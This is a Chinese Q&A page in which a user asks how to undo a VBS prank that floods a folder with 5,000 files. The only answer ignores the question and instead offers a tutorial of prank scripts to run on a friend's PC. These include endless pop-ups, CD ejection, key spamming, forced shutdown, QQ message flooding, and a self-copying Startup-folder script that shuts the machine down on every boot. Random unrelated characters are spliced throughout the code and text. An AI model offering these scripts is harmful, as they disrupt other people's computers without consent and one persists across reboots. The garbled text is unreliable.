vbs恶搞代码怎么解除

时间：2018.04.30 发布人：Ysq0ysq

已解决问题

谷歌Ysq0ysq用户在2018.04.30提交了关于“大话西游vbs恶搞代码怎么解除”的提问，欢迎大家涌跃发表自己的观点。目前共有1个回答，最后更新于2025-03-02T09:12:55。

DimI,T,t_iDoUntilt_i=50000t_i=t_i+1T=T+"滑稽"LoopDoSetfs=CreateObject("Scripting.FileSystemObject")Setf=fs.OpenTextFile(I&".滑稽",2,True,-2)f.WriteTf.CloseI=I+1IfI=5000thenExitDoEndIfLoop

希望大家能够帮助她。

详细问题描述及疑问：

DimI,T,t_iDoUntilt_i=50000t_i=t_i+1T=T+"滑稽"LoopDoSetfs=CreateObject("Scripting.FileSystemObject")Setf=fs.OpenTextFile(I&".滑稽",2,True,-2)f.WriteTf.CloseI=I+1IfI=5000thenExitDoEndIfLoop

期待您的答案，希望你能感受到,我最真诚的谢意！

希望以下的回答，能够帮助你。

第1个回答

用户名：兰春天的兰花时间：来自团队:

方法/步骤

1
新手教学（大神请跳到第五步）：
编写vbs有多简单？新建“文本文档”，输入msgbox"一大波病正在靠近"，点击文走杨击百定啊策句传径件->另存为->重命名为“代码.vbs”。文件名不重要，重要的是后缀要是“.vbs”。
双击保存的文来自件：代码.vbs，即出一个对话框。记下这段小小的代码，问答去同学家里恶搞吧。当其深防架何久宗然你还可以输入其他有趣的文字。
当然，如此恶搞还是不够的。那就来一个无限循环吧，输入图雨院裂仅气范标临中代码另存为vbs格式。双击打开。此时，会出提示对话框，点击确定和关闭按钮之后，再一次出窗口，如此循环，无法正常关闭。
那么到底要如何才能关闭呢？打开任务管理器结束进程“wscript.exe”即可
到此新手教学完毕，下面进入大神课堂教学。
无限出光驱：
--------------------------------剧给台介会燃----------------
setwmp=createobject("wmplayer.ocx")
setcd=wmp.**omcollection.item(0)
do
cd.eject
loop
------------------------------------------------
无尽语音报数：
无限语音从1数到无限大。
------------------------------------------------
Sets=CreateObject("sapi.spvoice")
i=0
do
s.spe**i
i=i+1
loop
-------------------------------------------唱副-----
无尽刷新：
慎用，如此刷新打开任务管理器都难，只能拔掉电源。
------------------------------------------------
setws=createobject("wscript.shell")
do
ws.参解干态诗养sendkeys"{f5}"
loop
------------------------------------------------
修改注册表：
-------------------务天类耐远方战究心挥-----------------------------
onerrorre划改聚但越早境班阳作sumenext
setwr=createobject("scripting.file班情胡systemobject")
setws=c抓四阶香祖卷资境肥川变reateobject("wscrip章t.shell")
setf=wr.getfile(wscrip看比族散又茶县牛比t.scriptfullname)
q=ws.regread("h**KEY_CURRENT设亚少通美语到模女练_U**R\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Startup")
ifnotf="Win32.vbs"thenwr.copyfilef,q&"\Win32.vbs",true
ws.run"shutdown-p",vbhide
----------------------------------电学者跳认左里--------------
QQ信息骚扰恶搞：
都谈纪论湖早雷临慢啊设打开好友的聊天对话框，然后记观代了核二族套下聊天对话框的名称（如图：小敏），把下面代码里的小敏替换打投选银呢一下。代码中的“10”代表发送次数，把10修改一下就可以自定义发送QQ信息到好友的次数。把发送的内容“复制”即可，当打开本vbs的时候就会把剪切板里的内容粘贴发送过去。
------------------------------------------------
OnErrorResumeNext
Dimwsh,ye
setwsh=createobject("wscript.shell")
fori=1to10
wscript.sleep700
wsh.AppActivate("小敏")
wsh.sendKeys"^v"
wsh.sendKeysi
wsh.sendKeys"%s"
next
wscript.quit
------------------------------------------------
直接关机：
------------------------------------------------
dimWSh**shell
setWSh**shell=wscript.createobject("wscript.shell")
WSh**shell.run"shutdown-f-s-t00",0,true
------------------------------------------------
不断按下alt+f4：
打开任何程序都关掉
------------------------------------------------
dimWSh**shell
setWSh**shell=wscript.createobject("wscript.shell")
do
wscript.sleep2500
WSh**shell.SendKeys"%{F4}"
loop